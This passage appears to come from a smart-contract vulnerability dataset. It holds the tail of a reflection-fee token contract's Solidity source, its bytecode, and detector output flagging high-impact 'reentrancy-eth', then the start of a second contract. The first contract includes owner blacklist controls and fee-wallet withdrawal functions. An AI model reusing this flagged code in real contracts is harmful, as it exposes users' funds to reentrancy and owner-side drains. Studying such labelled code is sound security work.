(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061276c565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612836565b6104b4565b60405161018e9190612891565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b991906128bb565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612a1e565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a67565b61060d565b60405161021f9190612891565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612aba565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612b03565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612b4a565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b77565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612aba565b6109dd565b60405161031991906128bb565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612bb3565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061276c565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612836565b610c9e565b6040516103da9190612891565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b77565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612bce565b61137e565b60405161046e91906128bb565b60405180910390f35b60606040518060400160405280600a81526020017f4d75736b43756c74763200000000000000000000000000000000000000000000815250905090565b60006104c86104c1611405565b848461140d565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c5a565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612cd8565b91505061057b565b5050565b600061061a8484846115d6565b6106db84610626611405565b6106d68560405180606001604052806028815260200161370f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c611405565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c679092919063ffffffff16565b61140d565b600190509392505050565b6106ee611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c5a565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e7611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c5a565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610899611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c5a565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611ccb90919063ffffffff16565b611d4590919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac611405565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d8f565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfb565b9050919050565b610a36611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b89611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c5a565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4d75736b43756c74763200000000000000000000000000000000000000000000815250905090565b6000610cb2610cab611405565b84846115d6565b6001905092915050565b610cc4611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c5a565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611ccb90919063ffffffff16565b611d4590919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd7611405565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e69565b50565b610e18611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c5a565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d6c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d6310000061140d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612da1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612da1565b6040518363ffffffff1660e01b815260040161109c929190612dce565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612da1565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612e3c565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612eb2565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112416064611233600168056bc75e2d63100000611ccb90919063ffffffff16565b611d4590919063ffffffff16565b600f819055506112776064611269600268056bc75e2d63100000611ccb90919063ffffffff16565b611d4590919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611337929190612f05565b6020604051808303816000875af1158015611356573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137a9190612f43565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361147c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147390612fe2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e290613074565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c991906128bb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611645576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163c90613106565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ab90613198565b60405180910390fd5b600081116116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee9061322a565b60405180910390fd5b6000600a819055506004600b8190555061170f610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177d575061174d610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5757600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118265750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61182f57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118da5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119305750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119485750600e60179054906101000a900460ff165b15611a8657600f54811115611992576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198990613296565b60405180910390fd5b6010548161199f846109dd565b6119a991906132b6565b11156119ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e190613358565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3557600080fd5b601e42611a4291906132b6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b315750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b9d576000600a819055506005600b819055505b6000611ba8306109dd565b9050600e60159054906101000a900460ff16158015611c155750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2d5750600e60169054906101000a900460ff165b15611c5557611c3b81611e69565b60004790506000811115611c5357611c5247611d8f565b5b505b505b611c628383836120e2565b505050565b6000838311158290611caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca6919061276c565b60405180910390fd5b5060008385611cbe9190613378565b9050809150509392505050565b6000808303611cdd5760009050611d3f565b60008284611ceb91906133ac565b9050828482611cfa9190613435565b14611d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d31906134d8565b60405180910390fd5b809150505b92915050565b6000611d8783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f2565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df7573d6000803e3d6000fd5b5050565b6000600854821115611e42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e399061356a565b60405180910390fd5b6000611e4c612155565b9050611e618184611d4590919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea157611ea06128db565b5b604051908082528060200260200182016040528015611ecf5781602001602082028036833780820191505090505b5090503081600081518110611ee757611ee6612c7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb29190612da1565b81600181518110611fc657611fc5612c7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202d30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461140d565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612091959493929190613648565b600060405180830381600087803b1580156120ab57600080fd5b505af11580156120bf573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120ed838383612180565b505050565b60008083118290612139576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612130919061276c565b60405180910390fd5b50600083856121489190613435565b9050809150509392505050565b600080600061216261234b565b915091506121798183611d4590919063ffffffff16565b9250505090565b600080600080600080612192876123ad565b9550955095509550955095506121f086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d1816124bd565b6122db848361257a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233891906128bb565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061238168056bc75e2d63100000600854611d4590919063ffffffff16565b8210156123a05760085468056bc75e2d631000009350935050506123a9565b81819350935050505b9091565b60008060008060008060008060006123ca8a600a54600b546125b4565b92509250925060006123da612155565b905060008060006123ed8e87878761264a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061245783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c67565b905092915050565b600080828461246e91906132b6565b9050838110156124b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124aa906136ee565b60405180910390fd5b8091505092915050565b60006124c7612155565b905060006124de8284611ccb90919063ffffffff16565b905061253281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61258f8260085461241590919063ffffffff16565b6008819055506125aa8160095461245f90919063ffffffff16565b6009819055505050565b6000806000806125e060646125d2888a611ccb90919063ffffffff16565b611d4590919063ffffffff16565b9050600061260a60646125fc888b611ccb90919063ffffffff16565b611d4590919063ffffffff16565b9050600061263382612625858c61241590919063ffffffff16565b61241590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126638589611ccb90919063ffffffff16565b9050600061267a8689611ccb90919063ffffffff16565b905060006126918789611ccb90919063ffffffff16565b905060006126ba826126ac858761241590919063ffffffff16565b61241590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561270d5780820151818401526020810190506126f2565b8381111561271c576000848401525b50505050565b6000601f19601f8301169050919050565b600061273e826126d3565b61274881856126de565b93506127588185602086016126ef565b61276181612722565b840191505092915050565b600060208201905081810360008301526127868184612733565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127cd826127a2565b9050919050565b6127dd816127c2565b81146127e857600080fd5b50565b6000813590506127fa816127d4565b92915050565b6000819050919050565b61281381612800565b811461281e57600080fd5b50565b6000813590506128308161280a565b92915050565b6000806040838503121561284d5761284c612798565b5b600061285b858286016127eb565b925050602061286c85828601612821565b9150509250929050565b60008115159050919050565b61288b81612876565b82525050565b60006020820190506128a66000830184612882565b92915050565b6128b581612800565b82525050565b60006020820190506128d060008301846128ac565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61291382612722565b810181811067ffffffffffffffff82111715612932576129316128db565b5b80604052505050565b600061294561278e565b9050612951828261290a565b919050565b600067ffffffffffffffff821115612971576129706128db565b5b602082029050602081019050919050565b600080fd5b600061299a61299584612956565b61293b565b905080838252602082019050602084028301858111156129bd576129bc612982565b5b835b818110156129e657806129d288826127eb565b8452602084019350506020810190506129bf565b5050509392505050565b600082601f830112612a0557612a046128d6565b5b8135612a15848260208601612987565b91505092915050565b600060208284031215612a3457612a33612798565b5b600082013567ffffffffffffffff811115612a5257612a5161279d565b5b612a5e848285016129f0565b91505092915050565b600080600060608486031215612a8057612a7f612798565b5b6000612a8e868287016127eb565b9350506020612a9f868287016127eb565b9250506040612ab086828701612821565b9150509250925092565b600060208284031215612ad057612acf612798565b5b6000612ade848285016127eb565b91505092915050565b600060ff82169050919050565b612afd81612ae7565b82525050565b6000602082019050612b186000830184612af4565b92915050565b612b2781612876565b8114612b3257600080fd5b50565b600081359050612b4481612b1e565b92915050565b600060208284031215612b6057612b5f612798565b5b6000612b6e84828501612b35565b91505092915050565b600060208284031215612b8d57612b8c612798565b5b6000612b9b84828501612821565b91505092915050565b612bad816127c2565b82525050565b6000602082019050612bc86000830184612ba4565b92915050565b60008060408385031215612be557612be4612798565b5b6000612bf3858286016127eb565b9250506020612c04858286016127eb565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c446020836126de565b9150612c4f82612c0e565b602082019050919050565b60006020820190508181036000830152612c7381612c37565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ce382612800565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d1557612d14612ca9565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d566017836126de565b9150612d6182612d20565b602082019050919050565b60006020820190508181036000830152612d8581612d49565b9050919050565b600081519050612d9b816127d4565b92915050565b600060208284031215612db757612db6612798565b5b6000612dc584828501612d8c565b91505092915050565b6000604082019050612de36000830185612ba4565b612df06020830184612ba4565b9392505050565b6000819050919050565b6000819050919050565b6000612e26612e21612e1c84612df7565b612e01565b612800565b9050919050565b612e3681612e0b565b82525050565b600060c082019050612e516000830189612ba4565b612e5e60208301886128ac565b612e6b6040830187612e2d565b612e786060830186612e2d565b612e856080830185612ba4565b612e9260a08301846128ac565b979650505050505050565b600081519050612eac8161280a565b92915050565b600080600060608486031215612ecb57612eca612798565b5b6000612ed986828701612e9d565b9350506020612eea86828701612e9d565b9250506040612efb86828701612e9d565b9150509250925092565b6000604082019050612f1a6000830185612ba4565b612f2760208301846128ac565b9392505050565b600081519050612f3d81612b1e565b92915050565b600060208284031215612f5957612f58612798565b5b6000612f6784828501612f2e565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fcc6024836126de565b9150612fd782612f70565b604082019050919050565b60006020820190508181036000830152612ffb81612fbf565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061305e6022836126de565b915061306982613002565b604082019050919050565b6000602082019050818103600083015261308d81613051565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130f06025836126de565b91506130fb82613094565b604082019050919050565b6000602082019050818103600083015261311f816130e3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131826023836126de565b915061318d82613126565b604082019050919050565b600060208201905081810360008301526131b181613175565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132146029836126de565b915061321f826131b8565b604082019050919050565b6000602082019050818103600083015261324381613207565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132806019836126de565b915061328b8261324a565b602082019050919050565b600060208201905081810360008301526132af81613273565b9050919050565b60006132c182612800565b91506132cc83612800565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561330157613300612ca9565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613342601a836126de565b915061334d8261330c565b602082019050919050565b6000602082019050818103600083015261337181613335565b9050919050565b600061338382612800565b915061338e83612800565b9250828210156133a1576133a0612ca9565b5b828203905092915050565b60006133b782612800565b91506133c283612800565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133fb576133fa612ca9565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061344082612800565b915061344b83612800565b92508261345b5761345a613406565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134c26021836126de565b91506134cd82613466565b604082019050919050565b600060208201905081810360008301526134f1816134b5565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613554602a836126de565b915061355f826134f8565b604082019050919050565b6000602082019050818103600083015261358381613547565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135bf816127c2565b82525050565b60006135d183836135b6565b60208301905092915050565b6000602082019050919050565b60006135f58261358a565b6135ff8185613595565b935061360a836135a6565b8060005b8381101561363b57815161362288826135c5565b975061362d836135dd565b92505060018101905061360e565b5085935050505092915050565b600060a08201905061365d60008301886128ac565b61366a6020830187612e2d565b818103604083015261367c81866135ea565b905061368b6060830185612ba4565b61369860808301846128ac565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136d8601b836126de565b91506136e3826136a2565b602082019050919050565b60006020820190508181036000830152613707816136cb565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202ed11deddafe4c66902a42acf2009d8f99a64bf4657e73481a0b146a4db7c8e464736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,383 |
0x62fe44f0911e87c16eb1eae49413afec058e78a2
|
pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = 0x222486a578d57CfFdD8b69E5b12BAC692c31a743;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
